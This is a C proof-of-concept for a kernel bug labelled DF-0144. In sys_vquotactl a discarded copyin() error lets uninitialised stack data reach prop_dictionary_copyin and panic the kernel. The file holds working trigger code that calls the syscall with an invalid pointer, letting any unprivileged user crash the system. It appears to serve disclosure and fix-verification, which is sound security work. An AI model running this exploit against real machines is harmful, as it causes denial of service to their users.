DF-0144 / df0144_poc.c
/* * DF-0144 - copyin return value silently discarded before prop_dictionary_copyin. * * sys/kern/vfs_quota.c sys_vquotactl(): * 345: error = copyin(vqa->pref, &pref, sizeof(pref)); * 346: error = prop_dictionary_copyin(&pref, &dict); <-- overwrites copyin rc * * The copyin() result on line 345 is unconditionally overwritten on line 346. * If copyin() fails (EFAULT from an invalid pref pointer), `pref` is * UNINITIALIZED stack garbage, yet prop_dictionary_copyin(&pref, ...) is called * anyway. _prop_object_copyin interprets the garbage struct plistref as a * serialized object and drives kmalloc until kernel_map is exhausted -> panic: * * panic: kmem_slab_alloc(): kernel_map ran out of space! * _prop_object_copyin.isra.0() at ...0xffffffff809dfe55 * sys_vquotactl() at sys_vquotactl+0x50 0xffffffff806fd750 * * So the impact is a local DoS (deterministic kernel panic), stronger than the * "stale EFAULT" the finding text describes. No privilege check guards the * syscall, so any unprivileged user can panic the kernel. * * Precondition (realistic, opt-in): vfs.quota_enabled=1 in /boot/loader.conf. * * Build: cc -o df0144_poc df0144_poc.c * Run: ./df0144_poc # panics the kernel (guest dies) */ #include <sys/syscall.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #include <string.h> int main(void) { const char *path = "/tmp"; /* An invalid pref pointer: copyin() must fail with EFAULT, but the * discarded result lets prop_dictionary_copyin run on uninitialized * `pref` and panic. */ void *bad_pref = (void *)0x1; long r; errno = 0; r = syscall(SYS_vquotactl, path, bad_pref); /* If we reach here the kernel did NOT panic -> either copyin was checked * (fixed) or vfs_quota_enabled=0 (EOPNOTSUPP=45). */ printf("vquotactl returned %ld errno=%d (%s)\n", r, errno, strerror(errno)); if (errno == 14) printf("EFAULT properly propagated (FIXED behavior)\n"); else if (errno == 45) printf("EOPNOTSUPP: vfs.quota_enabled=0 (gate closed)\n"); else printf("unexpected result\n"); return 0; } |